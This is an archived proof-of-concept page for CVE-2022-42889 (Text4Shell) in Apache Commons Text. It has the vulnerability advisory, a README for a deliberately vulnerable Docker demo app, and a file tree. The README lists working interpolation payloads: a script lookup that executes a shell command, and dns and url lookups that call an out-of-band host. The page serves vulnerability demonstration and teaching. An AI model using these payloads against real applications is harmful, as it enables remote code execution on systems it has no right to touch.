Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-42889 PoC — Apache Commons Text prior to 1.10.0 allows RCE when applied to untrusted input due to insecure interpolation defaults

Source
Associated Vulnerability
Title:Apache Commons Text prior to 1.10.0 allows RCE when applied to untrusted input due to insecure interpolation defaults (CVE-2022-42889)
Description:Apache Commons Text performs variable interpolation, allowing properties to be dynamically evaluated and expanded. The standard format for interpolation is "${prefix:name}", where "prefix" is used to locate an instance of org.apache.commons.text.lookup.StringLookup that performs the interpolation. Starting with version 1.5 and continuing through 1.9, the set of default Lookup instances included interpolators that could result in arbitrary code execution or contact with remote servers. These lookups are: - "script" - execute expressions using the JVM script execution engine (javax.script) - "dns" - resolve dns records - "url" - load values from urls, including from remote servers Applications using the interpolation defaults in the affected versions may be vulnerable to remote code execution or unintentional contact with remote servers if untrusted configuration values are used. Users are recommended to upgrade to Apache Commons Text 1.10.0, which disables the problematic interpolators by default.
Description
docker for CVE-2022-42889
Readme
# CVE-2022-42889-POC
A simple demo application that shows how to exploit the CVE-2022-42889 vulnerability.   
Utilizes OOB (Out of Band) services to demonstrate dns and url prefixes.

JavaDocs for commons-text interpolation [commons-text JavaDocs](https://commons.apache.org/proper/commons-text/javadocs/api-release/org/apache/commons/text/StringSubstitutor.html)

Example interpolations
* script:javascript ("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/blop')}")
* dns ("${dns:address|HOST}")
* url ("${url:UTF-8:http://HOST")

Quote from Rapid7
>The vulnerability has been compared to Log4Shell since it is an open-source library-level vulnerability that is likely to impact a wide variety of software applications that use the relevant object.   
>However, initial analysis indicates that this is a bad comparison. The nature of the vulnerability means that unlike Log4Shell, it will be rare that an application uses the vulnerable component of Commons Text to process untrusted, potentially malicious input.
# Prerequisites
* docker
* java
* maven

Java and maven can be skipped if one fetch image from [Docker Hub](https://hub.docker.com/r/korteke/text4shell)
# Usage

Build application
```
mvn clean package
```

Build docker image
```
docker build -t cve-2022-42889-poc .
```

Run docker image
```
docker run --rm -p 8081:8081 -t cve-2022-42889-poc
```

Access application and follow instructions
```
open http://localhost:8081
```

### More information
* [NIST NVD](https://nvd.nist.gov/vuln/detail/CVE-2022-42889)
* [Rapid 7](https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/)
File Snapshot

[4.0K] /data/pocs/705236531395bedc83a34351bc2902068f6d4495 ├── [ 131] Dockerfile ├── [4.0K] images │   ├── [205K] cve-2022-42889-interactsh.png │   └── [101K] cve-2022-42889-main.png ├── [1.2M] mask_cnn.ipynb ├── [ 10K] mvnw ├── [6.6K] mvnw.cmd ├── [2.5K] pom.xml ├── [1.6K] README.md ├── [4.0K] src │   ├── [4.0K] main │   │   ├── [4.0K] java │   │   │   └── [4.0K] net │   │   │   └── [4.0K] kvak │   │   │   └── [4.0K] text4shell │   │   │   ├── [4.0K] controller │   │   │   │   ├── [ 273] HomeController.java │   │   │   │   └── [ 772] TempExploit.java │   │   │   └── [ 332] Text4shellApplication.java │   │   └── [4.0K] resources │   │   ├── [ 47] application.properties │   │   └── [4.0K] templates │   │   ├── [ 748] home.html │   │   └── [ 341] result.html │   └── [4.0K] test │   └── [4.0K] java │   └── [4.0K] net │   └── [4.0K] kvak │   └── [4.0K] text4shell │   └── [ 224] Text4shellApplicationTests.java ├── [4.0K] target │   ├── [4.0K] classes │   │   ├── [ 47] application.properties │   │   ├── [4.0K] net │   │   │   └── [4.0K] kvak │   │   │   └── [4.0K] text4shell │   │   │   ├── [4.0K] controller │   │   │   │   ├── [ 594] HomeController.class │   │   │   │   └── [1.7K] TempExploit.class │   │   │   └── [ 757] Text4shellApplication.class │   │   └── [4.0K] templates │   │   ├── [ 748] home.html │   │   └── [ 341] result.html │   ├── [4.0K] maven-archiver │   │   └── [ 62] pom.properties │   ├── [4.0K] maven-status │   │   └── [4.0K] maven-compiler-plugin │   │   ├── [4.0K] compile │   │   │   └── [4.0K] default-compile │   │   │   ├── [ 149] createdFiles.lst │   │   │   └── [ 356] inputFiles.lst │   │   └── [4.0K] testCompile │   │   └── [4.0K] default-testCompile │   │   ├── [ 53] createdFiles.lst │   │   └── [ 122] inputFiles.lst │   ├── [4.0K] surefire-reports │   │   ├── [ 341] net.kvak.text4shell.Text4shellApplicationTests.txt │   │   └── [ 19K] TEST-net.kvak.text4shell.Text4shellApplicationTests.xml │   ├── [4.0K] test-classes │   │   └── [4.0K] net │   │   └── [4.0K] kvak │   │   └── [4.0K] text4shell │   │   └── [ 555] Text4shellApplicationTests.class │   ├── [ 19M] text4shell-0.0.1-SNAPSHOT.jar │   └── [5.4K] text4shell-0.0.1-SNAPSHOT.jar.original └── [ 628] test.py 34 directories, 32 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →